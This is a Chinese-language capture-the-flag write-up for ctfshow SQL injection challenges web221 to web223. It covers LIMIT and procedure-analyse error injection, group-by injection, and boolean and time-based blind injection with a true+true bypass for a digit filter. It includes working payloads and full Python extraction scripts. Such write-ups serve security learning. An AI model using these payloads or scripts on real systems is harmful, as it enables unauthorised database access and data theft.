目录
1、web221
2、web222
3、web223
1、web221
limit 注入
分页 sql 格式:select * from table limit (start-1)*pageSize,pageSize;
其中 start 是页码,pageSize 是每页显示的条数。
比如:
查询第1条到第10条的数据的sql是:select * from table limit 0,10;
对应我们的需求就是查询第一页的数据:select * from table limit (1-1)*10,10;
查询第11条到第20条的数据的sql是:select * from table limit 10,10;
对应我们的需求就是查询第二页的数据:select * from table limit (2-1)*10,10;
查询第21条到第30条的数据的sql是:select * from table limit 20,10;
对应我们的需求就是查询第三页的数据:select * from table limit (3-1)*10,10;
这里是:
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
我们需要给 page 和 limit 传参,并且根据提示只需要查到数据库名就行。
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢
先看一下 limit 函数:
在 limit 后面可以跟两个函数,procerdure 和 into,into 除非有写入 shell 的权限,否则是无法利用的,但是 limit 后面还可以跟 procerdure 函数。
而 procerdure 可以跟 analyse 函数,analyse 可以有两个参数,这里有两种注入方式:
此方法适用于MySQL 5.x 中,在 limit 语句后面的注入。
(1)使用 extractvalue 进行报错注入
(2)使用 benchmark 进行时间盲注
看了一下参数的请求方式是 get ,还是 api 接口
这里采用报错注入,构造 payload 查数据库名:
/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)
0x7e,即 '~' ,extractvalue 只有两个参数,它的第二个参数都要求是符合 xpath 语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,'~' 不是 xml 实体,所以会报错。
拿到数据库名为:ctfshow_web_flag_x,直接提交即可。
也可以用 0x23,即 '#'
api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x23,database())),1)
还可以用 0x3a,即 ':'
只要是不满足 xpath 格式的字符
api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。
所以,这里用 updatexml 函数也是可以的:
/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)
2、web222
group 注入
调整 page 和 limit 的值可以查询不同的页,这里主要的参数是这个 $u
基础知识介绍
group by 语句:用于结合合计函数,根据一个或多个列对结果集进行分组。
rand() 函数:用于产生一个 0-1 之间的随机数。
floor() 函数:向下取整。
count() 函数:返回指定列的值的数目(NULL 不计入),count(*) 返回表中的记录数。
floor(rand()*2):rand()*2 函数生成 0-2 之间的数,使用 floor() 函数向下取整,得到的值就是不固定的, “0” 或 “1”。
floor(rand(0)*2):rand(0)*2 函数生成 0-2 之间的数,使用 floor() 函数向下取整,但是得到的值前 6 位是固定的,为 011011。
group by 报错注入的两个 payload:
使用floor报错注入,需要确保查询的表必须大于三条数据
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))
两条数据即可,因为它可能会产出 “0101” ,但是不一定成功
select count(*) from information_schema.tables group by concat(database(),floor(rand()*2))
但是这道题试了下报错注入,没有回显,并且 group by 后面不能跟 union,因此采用盲注。
时间盲注和布尔盲注都是可以的,完整脚本附在最后。
先说布尔盲注,测一下 payload:
/api/index.php?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',username,0)
当 u 为 username 时回显如下
(原本我最先测的是 1 和 0,但是有点问题,所有还是用 username 吧)
为 0 时则不包含字符串 "passwordAUTO"
/api/index.php?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a',username,0)
因此可以用 "passwordAUTO" 作为判断的标准。
就不跑数据库名了,直接用 database() 代替,跑列名:
payload = f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',username,0)"
有两个表,根据结果,flag 应该是在 ctfshow_flaga 这个表里。
接着我们跑列名:
payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),{j},1)='{k}',username,0)"
为 flagaabc
查字段信息:
payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',username,0)"
拿到 flag:ctfshow{7a3dc581-f88f-4dba-b2e5-ac5bce462e61}
接下来我们改一下 payload,尝试时间盲注:
测了一下这里 sleep 很小的时间即可实现较长的延时
/api/index.php?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.1),0)
观察耗时,sleep(0.1) 即可延时 2s 以上,那么我们就以 2s 作为判断标准:
payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)"
没有问题
附上两种盲注方法的完整脚本:
# @author:Myon
# @time:20240815
import requests
import string
url = 'http://b6c2fdd0-e452-4aee-84ce-73716e1a42cd.challenge.ctf.show/api/index.php'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''
for j in range(1,50):
for k in dic:
# payload = f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1)='{k}',username,0)" # 跑表名
# payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),{j},1)='{k}',username,0)" # 跑列名
# payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',username,0)" # 布尔盲注跑flag
payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)" # 时间盲注跑flag
re = requests.get(url, params=payload)
# if "passwordAUTO" in re.text:
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
3、web223
//用户名不能是数字
在上一题基础上新增过滤了数字,我们上一题的 payload 中使用到数字的地方也就是 substr 的后两个参数,以及我们猜测的字符中可能会出现数字,关于数字被过滤,在前面的题目中我们知道可以采用 true+true 的方法构造出数字。
这道题折腾了很久,下面先分享的是我的一个试错过程,如果只想看结果可以直接跳过。
我仔细看了一下,之前的那个转换函数是针对字符构造的 concat(char()) 类型:
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
比如我们想构造一个字符 1 ,则会被转换为:
concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))
也就是 char(49)
但是在这里我测试这个 payload 发现有问题,没有回显:
?u=if(substr(database(),concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)),concat(true))='c',username,'a')
测 concat(true) 这个就是数字的 1 ,而不是字符的 1,发现回显正常:
?u=if(substr(database(),concat(true),concat(true))='c',username,'a')
并且如果加 char ,回显不完整:
?u=if(substr(database(),concat(char(true)),concat(true))='c',username,'a')
也就是猜错的回显结果(猜数据库名第一个字母是 a)
?u=if(substr(database(),concat(true),concat(true))='a',username,'a')
但是当我测到第二个字母时,又没有回显了:
?u=if(substr(database(),concat(true+true),concat(true))='t',username,'a')
包括我们后面猜测字符转换后测试也没有回显,而且后面的非数字字符肯定得需要 char 来将 ASCII 值转成字符(当然非数字其实也可以不用处理),改用 like 通配,也没有回显:
?u=if(database() like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)),username,'a')
怎么说呢,感觉这种转换方式被识别不了一样。
正则也是可以的,但转换后也不行,依旧没有回显:
就当我准备放弃换其他方法时,我去看了它的 wp,就是采用的 true+true 构造数字:
淦!它 true 之间的连接用的 %2b ,进行了 URL 编码。。。
于是回过头来测上面的 payload,猜数据库名第二个字符为 t:
?u=if(substr(database(),concat(true%2btrue),concat(true))='t',username,'a')
回显成功
上面测试的是数字 1,是可行的,那么我们再测试字符 1 呢,加上 char 试试。
稍微改一下函数:
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
# t+= 'char(true'+'+true'*(ord(s)-1)+'),'
t+= 'char(true'+'%2btrue'*(ord(s)-1)+'),'
return t[:-1]+")"
print(convert('1'))
payload:
?u=if(substr(database(),concat(char(true%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue%2btrue))
,concat(true))='c',username,'a')
回显成功,说明后面构造字符也是可行的。
总结:这里是 get 传参并且进行了 URL 解码,如果拼接方式是加号会导致服务器错误的解析为空格,从而无法识别,没有回显,需要对加号进行 URL 编码再传入,即 %2b 。
接下来就可以开始写脚本了,在上一题的基础上改。这里用的还是原始方法 substr,当然也可以用 like 通配,或者用 regexp 正则匹配,原理一样,我就不再过多测试了。
查表名:
payload = (f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{a},true)={b},username,'a')")
拿到 表名 ctfshow_flagas,继续查列名:
payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'),{a},true)={b},username,'a')"
拿到列名 flagasabc,最后直接查字段就行了:
payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)={b},username,'a')"
拿到 flag:ctfshow{ad9d39e2-ca4b-4b81-a3eb-b0b995f95431}
附上完整脚本:
对转换函数进行了改进,可以分类处理数字和字符串。
# @author:Myon
# @time:20240817
import requests
import string
def convert(value):
t = 'concat('
# 处理数字
if isinstance(value, int):
t += 'char(true' + '%2btrue' * (value - 1) + '),'
# 处理字符
elif isinstance(value, str):
for s in value:
t += 'char(true' + '%2btrue' * (ord(s) - 1) + '),'
return t[:-1] + ")"
# 测试转换数字1
# print(convert(1))
# 测试转换字符串 '1'
# print(convert('1'))
url = 'http://1742166c-83ef-461b-88f9-348a8dfafb75.challenge.ctf.show/api/index.php'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''
for j in range(1,50):
a = convert(f'{j}')
for k in dic:
b = convert(f'{k}')
# payload = (f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{a},true)={b},username,'a')") # 跑表名
# print(payload)
# payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'),{a},true)={b},username,'a')" # 跑列名
payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)={b},username,'a')" # 布尔盲注跑flag
# payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)" # 时间盲注跑flag
re = requests.get(url, params=payload)
if "passwordAUTO" in re.text:
# if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
此外,我们还可以单独对数字进行处理,转为 ascii('%0n') 的形式:
?u=if(substr((select flagasabc from ctfshow_flagas),ascii('%01'),true)='c',username,'a')
ascii('%01') 就相当于 1,因为 flag 长度肯定是几十位,因此会涉及到二位数,我们可以使用 concat 函数拼接,比如 21 就是: concat(ascii('%02'),ascii('%01'))
转换函数:
def convert(v):
v = str(v)
return "concat(" + ",".join([f"ascii('%0{c}')" for c in v]) + ")"
对脚本稍作修改:
# @author:Myon
# @time:20240817
import requests
import string
def convert(v):
v = str(v)
return "concat(" + ",".join([f"ascii('%0{c}')" for c in v]) + ")"
url = 'http://1742166c-83ef-461b-88f9-348a8dfafb75.challenge.ctf.show/api/index.php'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = ''
for j in range(1,50):
a = convert(f'{j}')
# print(a)
for k in dic:
if k in '0123456789':
b = convert(f'{k}')
payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)={b},username,'a')" # 数字字符会转成concat形式,默认就是字符,不需要引号包裹
else:
b = f'{k}'
payload = f"u=if(substr((select flagasabc from ctfshow_flagas),{a},true)='{b}',username,'a')" # 非数字字符需要使用引号包裹才会被认为是字符串
# print(b)
# payload = (f"u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{a},true)='{b}',username,'a')") # 跑表名
# print(payload)
# payload = f"u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'),{a},true)='{b}',username,'a')" # 跑列名
re = requests.get(url, params=payload)
if "passwordAUTO" in re.text:
out += k
break
print(out)
结果如下,和前面跑出来的一样。